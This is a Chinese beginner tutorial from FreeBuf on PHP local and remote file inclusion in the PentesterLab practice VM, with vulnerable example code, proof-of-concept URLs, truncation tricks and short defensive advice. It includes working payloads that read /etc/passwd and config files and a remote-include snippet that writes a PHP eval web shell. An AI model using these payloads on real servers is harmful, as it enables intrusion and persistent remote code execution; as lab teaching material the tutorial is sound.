PentesterLab新手教程(四):文件包含

2018-05-11 +3 316049人围观 ,发现 2 个不明物体

PentesterLab 简介

Web for pentester 是国外安全研究者开发的的一款渗透测试平台。

这个平台包含的主要漏洞如下:

Code injection (代码注入)

Commands injection(命令行注入)

XSS(跨站脚本)

SQL injections(sql注入)

File include(文件包含)

LDAP attacks(LDAP攻击)

File Upload(文件上传)

XML attacks(zXML攻击)

个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab的全套教程,PentesterLab上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。

系列教程:

PentesterLab新手教程(一):代码注入

PentesterLab新手教程(二):XML注入

PentesterLab 新手教程(三) :LDAP攻击

PentesterLab安装

安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。

官网地址&下载地址

前言

这个模块介绍的主要是php文件包含。

php文件包含分为本地包含和远程包含。文件包含有以下几个函数:

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()

区别:

  • include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
  • require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

在做文件包含之前先了解一些常见的文件包含漏洞。

读取关键文件

Windows:

c:\windows\php.ini             php配置文件
c:\windows\my.ini               mysql配置文件

Linux:

/etc/passwd         读取用户密码
/usr/local/app/php5/lib/php.ini          PHP配置文件
/etc/httpd/conf/http.conf               apache主配置文件
/etc/my.cnf                             mysql配置文件

利用方式如:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd

远程包含

前提是allow_url_fopen是打开状态。如远程服务器上新建一个xxx.txt文件,内容如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>

远程包含如http://192.168.199.110/fileincl/example2.php?page=http://www.xxx.com/xxx.txt此时在服务器根目录下就会生成shell.php文件,内容为一句话木马

<?php eval($_POST[xxx]);?>

本地包含木马

如果目标服务器关闭了allow_url_fopen,则可尝试上传如xxx.jpg。内容如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>

访问如:http://192.168.199.110/fileincl/example2.php?page=/var/www/a.jpg就能在本地生成shell.php

配合apache日志

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval($_POST[xxx]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址。

利用php协议进行包含

同样allow_url_include需要开启,利用如:http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

截断包含

  1. %00截断

截断条件:

  • php版本小于5.3.4 详情关注CVE-2006-7243

  • php的magic_quotes_gpc为OFF状态

  • 长目录截断

    ././././././././././././././etc/passwd
    或者
    ////////////////////////////etc/passwd
    或者
    ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

:php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256,超出部分会被系统丢弃。

  1. 点号截断/boot.ini/……………………

注:php版本小于5.2.8,只适用windows,点号需要长于256

exampl1

<?php require_once '../header.php'; ?>
<?php

    if ($_GET["page"]) {
        include($_GET["page"]);

    } 
?>
<?php require_once '../footer.php'; ?>

没有任何过滤,基本上算是为所欲为。

poc:

http://192.168.199.110/fileincl/example2.php?page=/etc/passwd   本地包含
http://192.168.199.110/fileincl/example2.php?page=http://assets.pentesterlab.com/test_include.txt   远程包含(PentesterLab的网站还包含针对此类漏洞的测试,访问此url会显示phpinfo内容)

另外:向url的配置参数里面加上一固态特殊符号(例如引号)。会引起报错如下

Warning: include(/etc'): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening '/etc'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
? PentesterLab 2013

这应该算是个小技巧了吧,从中可以得到如下信息:

脚本的路径:/var/www/fileincl/example1.php

使用的功能:include()。

example2

<?php require_once '../header.php'; ?>

<?php
    if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
        include($file);
    } 
?>
<?php require_once '../footer.php'; ?>

后端代码分析

$file = $_GET["page"].".php";给包含的文件加上.php后缀名,是为了防止本地包含漏洞,限制只包含php后缀名的文件。

preg_replace()函数,正则表达式匹配,并把它替换成相应的字符串。

\x00匹配该十六进制对应的acsii,即NULL

.  匹配任意字符

*  匹配前面的子表达式零次或多次。

更多正则表达式相关可参照:http://www.runoob.com/regexp/regexp-syntax.html

可以使用%00截断,poc如下:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd%00 后面的.php后缀直接被截断。

总结

总的来说,文件包含是个比较常见的漏洞,可以直接getshell

总的来说有以下几种预防的方法:

  1. php中可以使用 open_basedir配置限制访问权限在指定区域
  2. 过滤 . (点) / (斜杠) \ (反斜杠)3.禁止服务器远程文件包含(allow_url_include = off)

*本文作者:婷儿小跟班✧,转载请注明来自FreeBuf.COM

相关推荐
发表评论

已有 2 条评论

取消
Loading...
婷儿小跟班✧

这家伙太懒,还未填写个人描述!

7 文章数 10 评论数 1 关注者

特别推荐

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php